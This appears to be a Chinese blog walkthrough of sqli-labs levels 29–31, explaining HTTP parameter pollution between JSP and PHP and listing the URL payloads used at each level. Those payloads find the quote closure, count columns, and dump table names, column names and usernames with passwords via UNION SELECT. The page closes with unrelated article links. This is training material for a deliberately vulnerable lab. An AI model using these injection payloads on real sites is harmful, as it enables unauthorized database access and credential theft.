当前位置: 首页 > news >正文

sqli-labs靶场29-31关(http参数污染)

目录

前言

less29(单引号http参数污染)

less30(双引号http参数污染)

less31(双引号括号http参数污染)



前言

JSP中,使用request.getParameter("id")获取请求参数时,如果存在多个同名参数,它会返回第一个参数的值。这是因为request.getParameter()方法的设计是返回第一个匹配的参数值。

PHP中,使用$_GET["id"]获取请求参数时,如果存在多个同名参数,它会返回最后一个参数的值。这是因为PHP的$_GET超全局数组会覆盖前面的同名参数值。

比如:

?id=2&id=1返回的是id=1的请求:



less29(单引号http参数污染)

这一关如果直接union查询注入,就是很基础的sql注入。其实这里考查的是http参数污染注入。

?id=2&id=1'报错——判断为单引号闭合

?id=2&id=1'--+正常回显——确定为单引号闭合

?id=2&id=1' order by 3--+——判断有三处回显

?id=2&id=' union select 1,2,3--+——判断出回显位置

?id=2&id=' union select 1,user(),database()--+——爆数据库和数据库用户:

?id=2&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=2&id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=2&id=' union select 1,2,group_concat(id) from security.users--+—— 爆数据



less30(双引号http参数污染)

?id=a&id=1'正常回显

?id=a&id=1"无回显——判断为双引号闭合

?id=a&id=1"--+——正常回显,确定为双引号闭合

?id=a&id=1" order by 3--+——判断有三处回显位

?id=a&id=" union select 1,2,3--+——找到回显位置

?id=a&id=" union select 1,2,database()--+——爆数据库

?id=a&id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=a&id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=a&id=" union select 1,2,group_concat(username,password) from security.users--+——爆数据



less31(双引号括号http参数污染)

?id=0&id=2正常回显,?id=0&id=2'正常回显

?id=0&id=2"报错——判断为双引号闭合

?id=0&id=2"--+又报错

?id=0&id=2")--+正常回显——判断为双引号括号闭合:

?id=0&id=2") order by 3--+——判断有三处回显

?id=0&id=") union select 1,2,3--+——找到回显位置

?id=0&id=") union select 1,2,database()--+——爆数据库

?id=0&id=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=0&id=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=0&id=") union select 1,2,group_concat(id,password) from security.users--+——爆数据



相关文章:

  • maven和npm区别是什么
  • CVPR2025 | 首个多光谱无人机单目标跟踪大规模数据集与统一框架, 数据可直接下载
  • 中文分词与数据可视化02
  • k8s监控方案实践补充(二):使用kube-state-metrics获取资源状态指标
  • mac中加载C++动态库文件
  • 6 任务路由与负载均衡
  • Linux进程信号(一)之信号的入门
  • Redis + ABP vNext 构建分布式高可用缓存架构
  • flutter缓存网络视频到本地,可离线观看
  • RabbitMQ ④-持久化 || 死信队列 || 延迟队列 || 事务
  • 排序算法之基础排序:冒泡,选择,插入排序详解
  • LabVIEW光谱检测系统
  • Ubuntu快速安装Python3.11及多版本管理
  • 提权脚本Powerup命令备忘单
  • Ubuntu系统安装VsCode
  • 2024 睿抗机器人开发者大赛CAIP-编程技能赛-本科组(国赛) | 珂学家
  • 牛客网NC22000:数字反转之-三位数
  • python打卡训练营Day27
  • Pywinauto:轻松实现Windows桌面自动化实战
  • 学习threejs,使用Physijs物理引擎,各种constraint约束限制
  • 定制基因编辑疗法治愈罕见遗传病患儿
  • 清雪车司机未拉手刹下车导致溜车被撞亡,事故调查报告发布
  • 政企共同发力:多地密集部署外贸企业抢抓90天政策窗口期
  • 黑龙江省政府副秘书长许振宇,拟任正厅级领导
  • 秦洪看盘|缩量回踩,积蓄叩关能量
  • 马上评|这种“维权”已经不算薅羊毛,涉嫌犯罪了